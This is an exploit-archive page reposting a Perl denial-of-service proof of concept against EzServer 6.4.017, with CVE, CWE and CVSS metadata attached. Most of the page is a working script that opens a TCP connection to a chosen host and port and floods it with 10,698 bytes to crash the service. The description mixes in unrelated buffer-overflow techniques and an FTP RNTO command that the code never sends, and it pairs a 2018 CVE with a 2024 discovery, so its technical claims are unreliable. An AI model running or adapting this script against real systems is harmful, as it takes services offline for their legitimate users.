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EzServer 6.4.017 - Denied of Service (DoS)

CVE Category Price Severity
CVE-2018-16523 CWE-400 $500 High
Author Risk Exploitation Type Date
XiaoLei Qin High Remote 2024-01-22
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H 0.1263 0.75286

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2024010068

Below is a copy:

EzServer 6.4.017 - Denied of Service (DoS)
#!/usr/bin/perl

use IO::Socket;

# Exploit Title: EzServer 6.4.017 - Denied of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 22 january 2024
# Vendor Homepage:  N/A
# Download to demo: https://drive.google.com/file/d/1hCYYsWsyeuoHTh3ZosNRbtIBxw0culsu/view?usp=sharing
# Notification vendor: No reported
# Tested Version: EzServer 6.4.017 - Denied of Service (DoS)
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denied of Service (DoS)

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The FTP server does not correctly handle the amount of data or bytes sent to command RNTO.
#When authenticating to the FTP server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing Denied of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){
      $cmd="cls";
    } else {
      $cmd="clear";
    }

    system("$cmd");
    
    intro();
    main();
    
    print "[+] Exploiting... \n";

    my $payload = "\x41"x10698;

    my $sock = IO::Socket::INET->new(PeerAddr => $ip, PeerPort => $port, Proto => 'tcp') or die "[-] Could not connect!\n";
    $sock->send($payload);
    $sock->close();

    print "[+] Done - Exploited success!!!!!\n\n";
  
   sub intro {
      print q {


                            _/|     
                         // o\    
                         || ._)  
                         //__\   
                         )___(   

    [+] EzServer 6.4.017 - Denied of Service (DoS)

    [*] Coded by Fernando Mengali

    [@] e-mail: [email protected]

      }
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "       \nUsage: $0 <ip> <port>                 \n";
        exit(-1);

      }
  }

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